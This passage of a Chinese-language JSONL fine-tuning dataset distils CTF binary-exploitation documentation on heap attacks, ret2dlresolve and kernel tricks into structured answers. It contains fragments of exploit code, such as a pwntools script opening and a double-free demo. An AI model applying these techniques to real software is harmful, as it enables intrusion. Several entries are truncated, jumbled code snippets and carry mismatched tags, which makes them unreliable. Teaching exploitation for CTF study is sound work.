"2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "cdcb52f35eadceb2c3389aec", "subcategory": "pwn/hardware/cpu", "terms": ["ROP/JOP", "漏洞利用", "pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-62a767c1ab1dae586b57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > HITCON Training lab14 magic heap > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ hitcontraining_lab14 git:(master) file magicheap magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281b...\n- 可以看出，该程序是一个动态链接的64程序，主要开启了 NX 保护与 Canary 保护。\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ hitcontraining_lab14 git:(master) file magicheap`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 588, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["Unsorted Bin Attack", "HITCON Training lab14 magic heap", "基本信息"], "original_id": "docs-2b7b61f219f0a4255f31", "original_line": 1105, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "07e80a46ab1fd250daecd8a3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-62edc9ece19a9ddf2a89", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「fastbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`\n标题：通过堆进行信息泄漏\n章节：通过堆进行信息泄漏 > fastbin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 我们构造了两个fastbin然后查看它们的内存，现在在fastbin链表中存在两个块，第一个块的地址是0x602040，第二个块的地址是0x602000 `` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 ` ` 0x602040: 0x0000000000000000 0x0000000000000021 0x602050: 0x0000000000602000...\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 2 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`\n- plain: 2 行，首行 `0x602040: 0x0000000000000000 0x0000000000000021`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 369, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "fastbin", "heading_path": ["通过堆进行信息泄漏", "fastbin"], "original_id": "docs-367d138fdbb779a1ee9c", "original_line": 1008, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "source_root": "docs", "source_sha256": "c7422be7213815830cc0d86e4be4369c4aed68443f0d60b3e86923927586bc37", "split": "train", "split_group_key": "c4c901922de9f2303782de14", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "通过堆进行信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-63058c1a0d9460a6991f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md` 中的章节「dmesg_restrict」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md`\n标题：信息泄漏\n章节：信息泄漏 > dmesg_restrict\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8).\n- 考虑到内核日志中可能会有一些地址信息或者敏感信息，研究者提出需要对内核日志的访问进行限制。\n- 当该选项为 1 时，只有具有 CAP_SYSLOG 权限的用户才可以通过 dmesg 命令来查看内核日志。\n- 该选项用于控制是否可以使用 dmesg 来查看内核日志。\n- `` dmesg_restrict: This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel's log buffer.\n- When dmesg_restrict is set to (0) there are no restrictions.\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n代码/命令片段线索：\n- plain: 8 行，首行 `dmesg_restrict:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 565, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "dmesg_restrict", "heading_path": ["信息泄漏", "dmesg_restrict"], "original_id": "docs-81c20f9229d2278e726a", "original_line": 670, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/access-control/information-disclosure.md", "source_root": "docs", "source_sha256": "39d0ff77e364290136f1c8c3bcf4e0419e8c5b50edeb1d6388c6d7b1ac928645", "split": "train", "split_group_key": "ab4ec6f54d67aef7f2a8782c", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/access-control/information-disclosure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-630daaeddc922486c9f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「例题：D^3CTF 2025 - d3kshrm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`\n标题：利用内存溢出触发 OOM Killer 提供 root shell\n章节：tty4::askfirst:/bin/sh > 例题：D^3CTF 2025 - d3kshrm\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“例题：D^3CTF 2025 - d3kshrm”展开。\n- if (ret < 0) { perror(ERROR_MSG(\"[x] Failed at allocating packet socket\"));\n- if (ret < 0) { perror(ERROR_MSG(\"[x] Failed to alloc packet socket pages\"));\n- if (ret < 0) { perror(ERROR_MSG(\"[x] Failed to free packet socket pages\"));\n- } void unintended_exploit(void) { int errno;\n- if ((errno = create_pgv_socket(i)) < 0) { printf(ERROR_MSG(\"[x] Failed to allocate socket: \") \"%d\\n\", i);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3362, "chunk_count": 2, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "例题：D^3CTF 2025 - d3kshrm", "heading_path": ["tty4::askfirst:/bin/sh", "例题：D^3CTF 2025 - d3kshrm"], "original_id": "docs-fde951ea05c3a607cb01", "original_line": 46, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "source_root": "docs", "source_sha256": "10560a87f70732d7331fa0c3e8c736a4f44e33632f40fef391a858737062a392", "split": "train", "split_group_key": "3f590cb8accb1b7a6b634f77", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "利用内存溢出触发 OOM Killer 提供 root shell"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-633691a95ba07929e782", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：fake write args, write(1, base_stage+80, sh) > stage 3\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stage 3”展开。\n- 这里我们手动看一下 ``shell ❯ readelf -r main_partial_relro_32 Relocation section '.rel.dyn' at offset 0x30c contains 3 entries: Offset Info Type Sym.Value Sym.\n- 具体代码如下 ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- Name 08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__ 08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0 08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x324 contains 5 entries: Offset Info...\n- 这一次，我们同样控制 _dl_runtime_resolve 函数中的 reloc_offset 参数，不过这次控制其指向我们伪造的 write 重定位项。\n- 鉴于 pwntools 本身并不支持对重定位表项的信息的获取。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 13 行，首行 `❯ readelf -r main_partial_relro_32`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1145, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "stage 3", "heading_path": ["fake write args, write(1, base_stage+80, sh)", "stage 3"], "original_id": "docs-2d8d34bf2d00e2f05a43", "original_line": 1315, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "6b6a36cdbe60935f5301e830", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6388da8aab853acccbbb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「状态切换」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 状态切换\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“状态切换”展开。\n- 当用户进程想要请求更高权限的服务时，便需要通过由系统提供的应用接口，使用系统调用以陷入内核态，再由操作系统完成请求。\n- CPU 在不同的特权级间进行切换主要有两个途径： - 中断与异常（interrupt & exception）：当 CPU 收到一个中断/异常时，会切换到 ring0，并根据中断描述符表索引对应的中断处理代码以执行。\n- 特权级相关指令：当 CPU 运行这些指令时会发生运行状态的改变，例如 iret 指令（ring0->ring3）或是 sysenter 指令（ring3->ring0）。\n- 基于这些特权级切换的方式，现代操作系统的开发者包装出了系统调用（syscall），作为由“用户态”切换到“内核态”的入口，从而执行内核代码来完成用户进程所需的一些功能。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 341, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "状态切换", "heading_path": ["基础知识", "状态切换"], "original_id": "docs-1382c608fa7e0cccbaaf", "original_line": 641, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "e7ae59fb1405f1e94865c008", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-63b3a3ee52c9edb2d565", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Fastbin Double Free > 演示\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“演示”展开。\n- 下面的示例程序说明了这一点，当我们试图执行以下代码时 `` int main(void) { void chunk1,chunk2,chunk3;\n- 下面这个示例演示了这一点，首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1的链表。\n- 之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk，之后我们可以看到 fastbin 会把堆块分配到这里。\n- ` int main(void) { void chunk1,chunk2,chunk3;\n- int main(void) { void chunk1,chunk2,chunk3;\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `int main(void)`\n- plain: 34 行，首行 `*** Error in `./tst': double free or corruption (fasttop): 0x0000000002200010 ***`\n- plain: 10 行，首行 `int main(void)`\n- plain: 26 行，首行 `typedef struct _chunk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3904, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "演示", "heading_path": ["Fastbin Attack", "Fastbin Double Free", "演示"], "original_id": "docs-32f4aa773a22697d4b0a", "original_line": 917, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "3fac6d93b3852069d43aca0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-64516ae03a2189f7c228", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「通过 __malloc_hook 直接算出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Leak > Leak 原理 > 通过 __malloc_hook 直接算出\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“通过 __malloc_hook 直接算出”展开。\n- 以 pwntools 为例 ``python main_arena_offset = ELF(\"libc.so.6\").symbols[\"__malloc_hook\"] + 0x10 ` 这样就可以获得 main_arena` 与基地址的偏移了。\n- 比较巧合的是，main_arena 和 __malloc_hook 的地址差是 0x10，而大多数的 libc 都可以直接查出 __malloc_hook 的地址，这样可以大幅减小工作量。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 1 行，首行 `main_arena_offset = ELF(\"libc.so.6\").symbols[\"__malloc_hook\"] + 0x10`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 229, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "通过 __malloc_hook 直接算出", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Leak", "Leak 原理", "通过 __malloc_hook 直接算出"], "original_id": "docs-4bb8aa6b46b75cea8a61", "original_line": 58, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "42aa9d553b93ed0d6ad0a801", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-64a53d336155207b5c9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「__tcache_init()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > __tcache_init()\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“__tcache_init()”展开。\n- 其中 MAYBE_INIT_TCACHE () 在 tcache 为空（即第一次 malloc）时调用了 tcache_init()，直接查看 tcache_init() source code ``C tcache_init(void) { mstate ar_ptr;\n- const size_t bytes = sizeof (tcache_perthread_struct);\n- // 找到可用的 arena victim = _int_malloc (ar_ptr, bytes);\n- // 申请一个 sizeof(tcache_perthread_struct) 大小的 chunk if (!\n- = NULL) { ar_ptr = arena_get_retry (ar_ptr, bytes);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 27 行，首行 `tcache_init(void)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1107, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "__tcache_init()", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "__tcache_init()"], "original_id": "docs-e134bbe74d98267c6594", "original_line": 1184, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "f47d081f572fc51142ef375c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-64c39ca06e39979b8a28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「多线程支持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > 多线程支持\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“多线程支持”展开。\n- alloc.ppt/mthread$ `` 第一个线程malloc后， 我们可以从下面输出看出线程1的堆段被建立了。\n- 因此这表明该线程申请的堆时，背后对应的函数为mmap函数。\n- 同时，我们可以看出实际真的分配给程序的内存为1M(b7500000-b7600000)。\n- 而且它所在的位置为内存映射段区域，同样大小也是132KB(b7500000-b7521000)。\n- 而且，只有132KB的部分具有可读可写权限，这一块连续的区域成为thread arena。\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 3 行，首行 `**第一个线程malloc后**， 我们可以从下面输出看出线程1的堆段被建立了。而且它所在的位置为内存映射段区域，同样大小也是132KB(b7500000-b7521000)。因此这表明该线程申请的堆时，背后对应的函数为mmap函数。...`\n- plain: 1 行，首行 `**在第一个线程释放内存后**， 我们可以从下面的输出看到，这样释放内存同样不会把内存重新给系统。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2224, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "多线程支持", "heading_path": ["堆概述", "堆的基本操作", "多线程支持"], "original_id": "docs-1225413b7914fb76a0b7", "original_line": 948, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "a93f7a2f1b4a40cbe9af3832", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-66328bd39df4804c35c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「配置文件系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 配置文件系统\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“配置文件系统”展开。\n- ``shell $ cd _install $ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}} $ touch etc/inittab $ mkdir etc/init.d $ touch etc/init.d/rcS $ chmod +x ./etc/init.d/rcS ``\n- ``shell ::sysinit:/etc/init.d/rcS ::askfirst:/bin/login ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init ``\n- 在上面的文件中指定了系统初始化脚本为 etc/init.d/rcS，因此接下来我们配置这个文件写入如下内容，主要是挂载各种文件系统，以及设置各目录的权限，并创建一个非特权用户：\n- ```bash #!/bin/sh chown -R root:root / chmod 700 /root chown -R ctf:ctf /home/ctf\n- mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmp mkdir /dev/pts mount -t devpts devpts /dev/pts\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n- code:bash\n\n代码/命令片段线索：\n- shell: 6 行，首行 `$ cd _install`\n- shell: 6 行，首行 